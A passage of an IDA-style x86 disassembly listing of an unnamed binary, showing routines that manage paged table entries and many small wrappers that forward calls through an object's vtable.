loc_69B518FD: ; DATA XREF: .text:69B519CCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B51906: ; DATA XREF: .text:69B519D0o
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-1Ch]
mov edi, [ebp-20h]
mov ebx, [ebp-28h]
loc_69B51916: ; CODE XREF: sub_69B51835+C6j
mov eax, [ebp-24h]
mov dword ptr [ebp-4], 1
test eax, eax
jnz short loc_69B5194E
mov ecx, [esi+0Ch]
mov [ebp-5Ch], ecx
mov eax, ebx
shr eax, 0Ah
mov [ebp-60h], eax
mov [ecx+8], eax
mov eax, [esi+0Ch]
mov [ebp-64h], eax
mov ecx, [esi+10h]
mov [ebp-68h], ecx
push eax
call sub_69B1980A
mov [ebp-24h], eax
test eax, eax
jz short loc_69B519BC
loc_69B5194E: ; CODE XREF: sub_69B51835+EDj
and dword ptr [ebp-6Ch], 0
mov ecx, ebx
and ecx, 3FFh
mov [ebp-70h], ecx
dec dword ptr [eax+8]
mov dword ptr [eax+ecx*4+0Ch], 0
mov eax, [eax+8]
mov [ebp-74h], eax
jnz short loc_69B519BC
mov eax, [esi+0Ch]
mov [ebp-78h], eax
shr ebx, 0Ah
mov [ebp-7Ch], ebx
mov [eax+8], ebx
mov eax, [esi+0Ch]
mov [ebp-80h], eax
mov esi, [esi+10h]
mov [ebp-84h], esi
push eax
mov ecx, esi
call sub_69B17DC6
test edi, edi
jz short loc_69B519BC
add edi, 1F4Ch
mov [ebp-88h], edi
push 0
push edi
call sub_69B17320
jmp short loc_69B519BC
; ---------------------------------------------------------------------------
loc_69B519B0: ; DATA XREF: .text:69B519D8o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B519B9: ; DATA XREF: .text:69B519DCo
mov esp, [ebp-18h]
loc_69B519BC: ; CODE XREF: sub_69B51835+117j
; sub_69B51835+139j ...
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B519C0: ; CODE XREF: sub_69B51835+24j
call sub_69B1853C
retn 4
sub_69B51835 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dword_69B519C8 dd 0FFFFFFFFh dd offset loc_69B518FD
dd offset loc_69B51906
dd 0FFFFFFFFh
dd offset loc_69B519B0
dd offset loc_69B519B9
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B519E0 proc near ; CODE XREF: sub_69B3EA42+89p
; sub_69B3EB79+1Cp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
xor edi, edi
cmp ebx, edi
mov esi, ecx
jnz short loc_69B519FA
xor eax, eax
jmp loc_69B51AD2
; ---------------------------------------------------------------------------
loc_69B519FA: ; CODE XREF: sub_69B519E0+11j
push ebx
mov ecx, esi
call sub_69B511AB
cmp eax, edi
jl short loc_69B51A15
mov eax, [esi+eax*4+30h]
mov eax, [eax+1F4Ch]
mov [ebp+var_4], eax
jmp short loc_69B51A18
; ---------------------------------------------------------------------------
loc_69B51A15: ; CODE XREF: sub_69B519E0+24j
mov [ebp+var_4], edi
loc_69B51A18: ; CODE XREF: sub_69B519E0+33j
cmp [ebp+var_4], edi
jnz short loc_69B51A3B
mov ecx, [esi+0Ch]
mov eax, ebx
shr eax, 0Ah
mov [ecx+8], eax
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
push eax
call sub_69B1980A
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_69B51A4B
loc_69B51A3B: ; CODE XREF: sub_69B519E0+3Bj
mov ecx, [ebp+var_4]
mov eax, ebx
and eax, 3FFh
mov edi, [ecx+eax*4+0Ch]
jmp short loc_69B51A56
; ---------------------------------------------------------------------------
loc_69B51A4B: ; CODE XREF: sub_69B519E0+59j
push ebx
mov ecx, esi
call sub_69B51279
mov [ebp+var_4], eax
loc_69B51A56: ; CODE XREF: sub_69B519E0+69j
test edi, edi
jnz short loc_69B51AD0
push edi
push edi
push ebx
mov ecx, esi
call sub_69B516F4
mov edi, eax
lea eax, [edi+1F4Ch]
cmp dword ptr [eax], 0
jnz short loc_69B51A7A
push [ebp+var_4]
push eax
call sub_69B17320
loc_69B51A7A: ; CODE XREF: sub_69B519E0+8Fj
and ebx, 3FFh
lea eax, [ebx+ebx*4]
lea edi, [edi+eax*4+0Ch]
mov eax, [esi+8]
mov eax, [eax+50h]
mov ecx, [edi]
push eax
push 20h
mov [ebp+var_8], ecx
call sub_69B1DAA0
test eax, eax
jz short loc_69B51ABE
push [ebp+arg_0]
mov esi, [esi+8]
mov ecx, [ebp+var_8]
mov edi, [edi+4]
push esi
shr ecx, 18h
and ecx, 1Fh
push edi
push ecx
mov ecx, eax
call sub_69B15248
mov edi, eax
jmp short loc_69B51AC0
; ---------------------------------------------------------------------------
loc_69B51ABE: ; CODE XREF: sub_69B519E0+BCj
xor edi, edi
loc_69B51AC0: ; CODE XREF: sub_69B519E0+DCj
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
push edi
push ebx
mov [edi+8], eax
call sub_69B511CF
loc_69B51AD0: ; CODE XREF: sub_69B519E0+78j
mov eax, edi
loc_69B51AD2: ; CODE XREF: sub_69B519E0+15j
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B519E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B51AD9 proc near ; CODE XREF: sub_69B51DC6+27p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
mov eax, [eax+8]
push ebx
push esi
lea edx, [eax+eax+4]
push edi
lea esi, [ecx+44h]
mov edi, [esi]
mov [ebp+var_14], eax
and edi, 3FFh
mov eax, 3E8h
sub eax, edi
shl eax, 3
cmp edx, eax
mov [ebp+var_10], ecx
mov [ebp+var_4], edx
mov [ebp+var_8], eax
jle short loc_69B51B30
cmp eax, 100h
jge short loc_69B51B30
inc dword ptr [ecx+48h]
mov eax, [ecx+48h]
shl eax, 0Ah
mov [esi], eax
mov [ebp+var_8], 1F40h
mov byte ptr [ebp+var_C], 1
jmp short loc_69B51B34
; ---------------------------------------------------------------------------
loc_69B51B30: ; CODE XREF: sub_69B51AD9+36j
; sub_69B51AD9+3Dj
mov byte ptr [ebp+var_C], 0
loc_69B51B34: ; CODE XREF: sub_69B51AD9+55j
mov eax, [esi]
push 0
push [ebp+var_C]
mov [ebp+var_18], eax
push eax
call sub_69B516F4
mov edi, eax
or dword ptr [edi+1F50h], 1
mov ebx, [esi]
push 4
lea eax, [ebp+var_14]
and ebx, 3FFh
push eax
shl ebx, 3
push ebx
mov ecx, edi
call sub_69B5120D
mov eax, [ebp+arg_4]
mov eax, [eax+0Ch]
sub [ebp+var_4], 4
sub [ebp+var_8], 4
mov [ebp+arg_4], eax
mov eax, [ebp+var_4]
add ebx, 4
cmp eax, [ebp+var_8]
jle short loc_69B51BDF
loc_69B51B82: ; CODE XREF: sub_69B51AD9+104j
mov eax, [ebp+var_8]
add eax, 0FFFFFFFCh
push eax
push [ebp+arg_4]
mov ecx, edi
push ebx
call sub_69B5120D
sub [ebp+var_4], eax
add [ebp+arg_4], eax
mov ecx, [ebp+var_10]
inc dword ptr [ecx+48h]
mov ecx, [ecx+48h]
push 4
shl ecx, 0Ah
push esi
add eax, ebx
mov [esi], ecx
push eax
mov ecx, edi
call sub_69B5120D
mov ecx, [ebp+var_10]
push edi
call sub_69B51423
push 1
push dword ptr [esi]
mov ecx, edi
call sub_69B51444
or dword ptr [edi+1F50h], 1
mov eax, 1F40h
xor ebx, ebx
cmp [ebp+var_4], eax
mov [ebp+var_8], eax
jg short loc_69B51B82
loc_69B51BDF: ; CODE XREF: sub_69B51AD9+A7j
cmp [ebp+var_4], 0
jz short loc_69B51BFA
push [ebp+var_4]
mov ecx, edi
push [ebp+arg_4]
push ebx
call sub_69B5120D
or dword ptr [edi+1F50h], 1
loc_69B51BFA: ; CODE XREF: sub_69B51AD9+10Aj
mov eax, [ebp+var_4]
mov ecx, [ebp+var_18]
lea eax, [ebx+eax+7]
shr eax, 3
xor eax, [esi]
pop edi
and eax, 3FFh
xor [esi], eax
mov eax, [ebp+arg_0]
pop esi
mov [eax], ecx
pop ebx
leave
retn 8
sub_69B51AD9 endp
; =============== S U B R O U T I N E =======================================
sub_69B51C1C proc near ; CODE XREF: sub_69B51C4D+9p
; sub_69B51C69+9p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
push esi
mov esi, [eax+18h]
push 1
push 0
push esi
call sub_69B516F4
cmp [esp+4+arg_4], 0
jz short loc_69B51C3C
or dword ptr [eax+1F50h], 1
loc_69B51C3C: ; CODE XREF: sub_69B51C1C+17j
and esi, 3FFh
lea ecx, [esi+esi*4]
lea eax, [eax+ecx*4+0Ch]
pop esi
retn 8
sub_69B51C1C endp
; =============== S U B R O U T I N E =======================================
sub_69B51C4D proc near ; CODE XREF: sub_69B59D29+6p
arg_0 = dword ptr 4
push esi
push 0
push [esp+8+arg_0]
mov esi, ecx
call sub_69B51C1C
push dword ptr [eax+8]
mov ecx, esi
call sub_69B519E0
pop esi
retn 4
sub_69B51C4D endp
; =============== S U B R O U T I N E =======================================
sub_69B51C69 proc near ; CODE XREF: sub_69B59D45+6p
arg_0 = dword ptr 4
push esi
push 0
push [esp+8+arg_0]
mov esi, ecx
call sub_69B51C1C
push dword ptr [eax+0Ch]
mov ecx, esi
call sub_69B519E0
pop esi
retn 4
sub_69B51C69 endp
; =============== S U B R O U T I N E =======================================
sub_69B51C85 proc near ; CODE XREF: sub_69B59D61+7p
arg_0 = dword ptr 4
push esi
push 0
push [esp+8+arg_0]
mov esi, ecx
call sub_69B51C1C
mov ecx, [eax]
shr ecx, 16h
test cl, 1
jnz short loc_69B51CA9
push dword ptr [eax+10h]
mov ecx, esi
call sub_69B519E0
jmp short loc_69B51CAB
; ---------------------------------------------------------------------------
loc_69B51CA9: ; CODE XREF: sub_69B51C85+16j
xor eax, eax
loc_69B51CAB: ; CODE XREF: sub_69B51C85+22j
pop esi
retn 4
sub_69B51C85 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B51CAF proc near ; CODE XREF: sub_69B59D9A+13p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
xor ebx, ebx
push ebx
push [ebp+arg_0]
mov [ebp+var_4], ecx
call sub_69B51C1C
mov ecx, [eax]
shr ecx, 16h
test cl, 1
jz loc_69B51D5A
mov esi, [eax+10h]
cmp esi, ebx
jz short loc_69B51D53
mov ecx, [ebp+var_4]
push edi
push ebx
push ebx
push esi
call sub_69B516F4
mov ecx, eax
push 4
lea eax, [ebp+arg_0]
and esi, 3FFh
shl esi, 3
push eax
push esi
mov [ebp+var_10], ecx
mov [ebp+var_C], esi
call sub_69B51243
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
push eax
push ebx
lea edi, [eax+eax]
call sub_69B190D7
mov esi, [eax+0Ch]
mov ecx, [ebp+var_C]
mov [ebp+arg_0], eax
mov eax, [ebp+var_8]
push edi
add eax, ecx
mov ecx, [ebp+var_10]
push esi
push eax
jmp short loc_69B51D41
; ---------------------------------------------------------------------------
loc_69B51D29: ; CODE XREF: sub_69B51CAF+99j
mov ecx, [ebp+var_4]
push ebx
lea esi, [esi+eax-4]
push ebx
push dword ptr [esi]
add edi, 4
call sub_69B516F4
push edi
push esi
push ebx
mov ecx, eax
loc_69B51D41: ; CODE XREF: sub_69B51CAF+78j
call sub_69B51243
sub edi, eax
jnz short loc_69B51D29
mov [esi+eax], bl
mov eax, [ebp+arg_0]
pop edi
jmp short loc_69B51D5C
; ---------------------------------------------------------------------------
loc_69B51D53: ; CODE XREF: sub_69B51CAF+29j
mov eax, offset off_69B1A5AC
jmp short loc_69B51D5C
; ---------------------------------------------------------------------------
loc_69B51D5A: ; CODE XREF: sub_69B51CAF+1Ej
xor eax, eax
loc_69B51D5C: ; CODE XREF: sub_69B51CAF+A2j
; sub_69B51CAF+A9j
pop esi
pop ebx
leave
retn 4
sub_69B51CAF endp
; =============== S U B R O U T I N E =======================================
sub_69B51D62 proc near ; CODE XREF: sub_69B59D35+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 1
push [esp+4+arg_0]
call sub_69B51C1C
mov ecx, [esp+arg_4]
test ecx, ecx
jz short loc_69B51D7A
mov ecx, [ecx+18h]
jmp short loc_69B51D7C
; ---------------------------------------------------------------------------
loc_69B51D7A: ; CODE XREF: sub_69B51D62+11j
xor ecx, ecx
loc_69B51D7C: ; CODE XREF: sub_69B51D62+16j
mov [eax+8], ecx
retn 8
sub_69B51D62 endp
; =============== S U B R O U T I N E =======================================
sub_69B51D82 proc near ; CODE XREF: sub_69B59D51+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 1
push [esp+4+arg_0]
call sub_69B51C1C
mov ecx, [esp+arg_4]
test ecx, ecx
jz short loc_69B51D9A
mov ecx, [ecx+18h]
jmp short loc_69B51D9C
; ---------------------------------------------------------------------------
loc_69B51D9A: ; CODE XREF: sub_69B51D82+11j
xor ecx, ecx
loc_69B51D9C: ; CODE XREF: sub_69B51D82+16j
mov [eax+0Ch], ecx
retn 8
sub_69B51D82 endp
; =============== S U B R O U T I N E =======================================
sub_69B51DA2 proc near ; CODE XREF: sub_69B59D7B+16p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 1
push [esp+4+arg_0]
call sub_69B51C1C
mov ecx, [esp+arg_4]
test ecx, ecx
jz short loc_69B51DBA
mov ecx, [ecx+18h]
jmp short loc_69B51DBC
; ---------------------------------------------------------------------------
loc_69B51DBA: ; CODE XREF: sub_69B51DA2+11j
xor ecx, ecx
loc_69B51DBC: ; CODE XREF: sub_69B51DA2+16j
and byte ptr [eax+2], 0BFh
mov [eax+10h], ecx
retn 8
sub_69B51DA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B51DC6 proc near ; CODE XREF: sub_69B59DC5+29p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
push edi
push 1
push [ebp+arg_0]
mov edi, ecx
call sub_69B51C1C
mov esi, eax
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_69B51DF6
cmp dword ptr [eax+8], 0
jle short loc_69B51DF6
push eax
lea eax, [ebp+arg_0]
push eax
mov ecx, edi
call sub_69B51AD9
mov eax, [eax]
jmp short loc_69B51DF8
; ---------------------------------------------------------------------------
loc_69B51DF6: ; CODE XREF: sub_69B51DC6+18j
; sub_69B51DC6+1Ej
xor eax, eax
loc_69B51DF8: ; CODE XREF: sub_69B51DC6+2Ej
xor ecx, ecx
test eax, eax
setnz cl
pop edi
mov [esi+10h], eax
shl ecx, 16h
xor ecx, [esi]
and ecx, 400000h
xor [esi], ecx
pop esi
pop ebp
retn 8
sub_69B51DC6 endp
; =============== S U B R O U T I N E =======================================
sub_69B51E15 proc near ; CODE XREF: sub_69B532BD+46p
mov dword ptr [ecx], offset off_69B28990
mov dword ptr [ecx+4], offset off_69B288D8
mov dword ptr [ecx+8], offset off_69B28820
mov dword ptr [ecx+0Ch], offset off_69B28750
mov dword ptr [ecx+10h], offset off_69B28680
mov dword ptr [ecx+14h], offset off_69B285D0
mov dword ptr [ecx+18h], offset off_69B28518
mov dword ptr [ecx+1Ch], offset off_69B28460
mov dword ptr [ecx+20h], offset off_69B283B0
mov dword ptr [ecx+24h], offset off_69B282F8
retn
sub_69B51E15 endp
; =============== S U B R O U T I N E =======================================
sub_69B51E5B proc near ; CODE XREF: .text:69B523A5j
; .text:69B52535j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
mov eax, [eax+2Ch]
push [esp+4+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx]
retn 0Ch
sub_69B51E5B endp
; =============== S U B R O U T I N E =======================================
sub_69B51E72 proc near ; CODE XREF: .text:69B523AFj
; .text:69B5253Fj ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
retn 8
sub_69B51E72 endp
; =============== S U B R O U T I N E =======================================
sub_69B51E86 proc near ; CODE XREF: .text:69B523B9j
; .text:69B52549j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov eax, [esp+4+arg_0]
push [esp+4+arg_8]
mov eax, [eax+2Ch]
push [esp+8+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+10h]
retn 10h
sub_69B51E86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B51EA2 proc near ; CODE XREF: .text:69B523C3j
; .text:69B52553j ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push [ebp+arg_14]
mov eax, [ebp+arg_0]
push [ebp+arg_10]
mov eax, [eax+2Ch]
push [ebp+arg_C]
mov ecx, [eax]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+14h]
pop ebp
retn 18h
sub_69B51EA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B51EC4 proc near ; CODE XREF: .text:69B523CDj
; .text:69B5255Dj ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
push [ebp+arg_20]
mov eax, [ebp+arg_0]
push [ebp+arg_1C]
mov eax, [eax+2Ch]
push [ebp+arg_18]
mov ecx, [eax]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+18h]
pop ebp
retn 24h
sub_69B51EC4 endp
; =============== S U B R O U T I N E =======================================
sub_69B51EEF proc near ; CODE XREF: .text:69B523F5j
; .text:69B52585j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+28h]
retn 8
sub_69B51EEF endp
; =============== S U B R O U T I N E =======================================
sub_69B51F03 proc near ; CODE XREF: .text:69B523E1j
; .text:69B52571j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+20h]
retn 8
sub_69B51F03 endp
; =============== S U B R O U T I N E =======================================
sub_69B51F17 proc near ; CODE XREF: .text:69B523EBj
; .text:69B5257Bj ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
mov ecx, [eax]
push esi
push edi
sub esp, 10h
mov edi, esp
lea esi, [esp+18h+arg_4]
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+24h]
pop edi
pop esi
retn 14h
sub_69B51F17 endp
; =============== S U B R O U T I N E =======================================
sub_69B51F38 proc near ; CODE XREF: .text:69B523FFj
; .text:69B5258Fj ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+2Ch]
retn 8
sub_69B51F38 endp
; =============== S U B R O U T I N E =======================================
sub_69B51F4C proc near ; CODE XREF: .text:69B52409j
; .text:69B52599j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+30h]
retn 8
sub_69B51F4C endp
; =============== S U B R O U T I N E =======================================
sub_69B51F60 proc near ; CODE XREF: .text:69B52413j
; .text:69B525A3j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+34h]
retn 8
sub_69B51F60 endp
; =============== S U B R O U T I N E =======================================
sub_69B51F74 proc near ; CODE XREF: .text:69B5241Dj
; .text:69B525ADj ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+38h]
retn 8
sub_69B51F74 endp
; =============== S U B R O U T I N E =======================================
sub_69B51F88 proc near ; CODE XREF: .text:69B52427j
; .text:69B525B7j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+3Ch]
retn 8
sub_69B51F88 endp
; =============== S U B R O U T I N E =======================================
sub_69B51F9C proc near ; CODE XREF: .text:69B52431j
; .text:69B525C1j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+40h]
retn 8
sub_69B51F9C endp
; =============== S U B R O U T I N E =======================================
sub_69B51FB0 proc near ; CODE XREF: .text:69B52445j
; .text:69B525D5j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
arg_18 = dword ptr 1Ch
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push esi
push edi
push [esp+8+arg_18]
mov ecx, [eax]
sub esp, 10h
mov edi, esp
push [esp+1Ch+arg_4]
lea esi, [esp+20h+arg_8]
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+48h]
pop edi
pop esi
retn 1Ch
sub_69B51FB0 endp
; =============== S U B R O U T I N E =======================================
sub_69B51FD9 proc near ; CODE XREF: .text:69B5244Fj
; .text:69B525DFj ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov eax, [esp+4+arg_0]
push [esp+4+arg_8]
mov eax, [eax+2Ch]
push [esp+8+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+4Ch]
retn 10h
sub_69B51FD9 endp
; =============== S U B R O U T I N E =======================================
sub_69B51FF5 proc near ; CODE XREF: .text:69B52459j
; .text:69B525E9j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
mov eax, [eax+2Ch]
push [esp+4+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+50h]
retn 0Ch
sub_69B51FF5 endp
; =============== S U B R O U T I N E =======================================
sub_69B5200D proc near ; CODE XREF: .text:69B52463j
; .text:69B525F3j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
mov eax, [eax+2Ch]
push [esp+4+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+54h]
retn 0Ch
sub_69B5200D endp
; =============== S U B R O U T I N E =======================================
sub_69B52025 proc near ; CODE XREF: .text:69B5243Bj
; .text:69B525CBj ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+44h]
retn 8
sub_69B52025 endp
; =============== S U B R O U T I N E =======================================
sub_69B52039 proc near ; CODE XREF: .text:69B5246Dj
; .text:69B525FDj ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+58h]
retn 8
sub_69B52039 endp
; =============== S U B R O U T I N E =======================================
sub_69B5204D proc near ; CODE XREF: .text:69B52477j
; .text:69B52607j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
mov eax, [eax+2Ch]
push [esp+4+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+60h]
retn 0Ch
sub_69B5204D endp
; =============== S U B R O U T I N E =======================================
sub_69B52065 proc near ; CODE XREF: .text:69B52481j
; .text:69B52611j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+64h]
retn 8
sub_69B52065 endp
; =============== S U B R O U T I N E =======================================
sub_69B52079 proc near ; CODE XREF: .text:69B5248Bj
; .text:69B5261Bj ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+68h]
retn 8
sub_69B52079 endp
; =============== S U B R O U T I N E =======================================
sub_69B5208D proc near ; CODE XREF: .text:69B52495j
; .text:69B52625j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+6Ch]
retn 8
sub_69B5208D endp
; =============== S U B R O U T I N E =======================================
sub_69B520A1 proc near ; CODE XREF: .text:69B524A9j
; .text:69B52639j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+74h]
retn 8
sub_69B520A1 endp
; =============== S U B R O U T I N E =======================================
sub_69B520B5 proc near ; CODE XREF: .text:69B524B3j
; .text:69B52643j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+78h]
retn 8
sub_69B520B5 endp
; =============== S U B R O U T I N E =======================================
sub_69B520C9 proc near ; CODE XREF: .text:69B524BDj
; .text:69B5264Dj ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
mov ecx, [eax]
push esi
push edi
sub esp, 10h
mov edi, esp
lea esi, [esp+18h+arg_4]
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+7Ch]
pop edi
pop esi
retn 14h
sub_69B520C9 endp
; =============== S U B R O U T I N E =======================================
sub_69B520EA proc near ; CODE XREF: .text:69B524C7j
; .text:69B52657j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+80h]
retn 8
sub_69B520EA endp
; =============== S U B R O U T I N E =======================================
sub_69B52101 proc near ; CODE XREF: .text:69B524D1j
; .text:69B52661j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+84h]
retn 8
sub_69B52101 endp
; =============== S U B R O U T I N E =======================================
sub_69B52118 proc near ; CODE XREF: .text:69B524DBj
; .text:69B5266Bj ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+88h]
retn 8
sub_69B52118 endp
; =============== S U B R O U T I N E =======================================
sub_69B5212F proc near ; CODE XREF: .text:69B524E5j
; .text:69B52675j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
mov eax, [eax+2Ch]
push [esp+4+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8Ch]
retn 0Ch
sub_69B5212F endp
; =============== S U B R O U T I N E =======================================
sub_69B5214A proc near ; CODE XREF: .text:69B524EFj
; .text:69B5267Fj ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
mov eax, [eax+2Ch]
push [esp+4+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+90h]
retn 0Ch
sub_69B5214A endp
; =============== S U B R O U T I N E =======================================
sub_69B52165 proc near ; CODE XREF: .text:69B524F9j
; .text:69B52689j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
mov eax, [eax+2Ch]
push [esp+4+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+94h]
retn 0Ch
sub_69B52165 endp
; =============== S U B R O U T I N E =======================================
sub_69B52180 proc near ; CODE XREF: .text:69B52503j
; .text:69B52693j ...
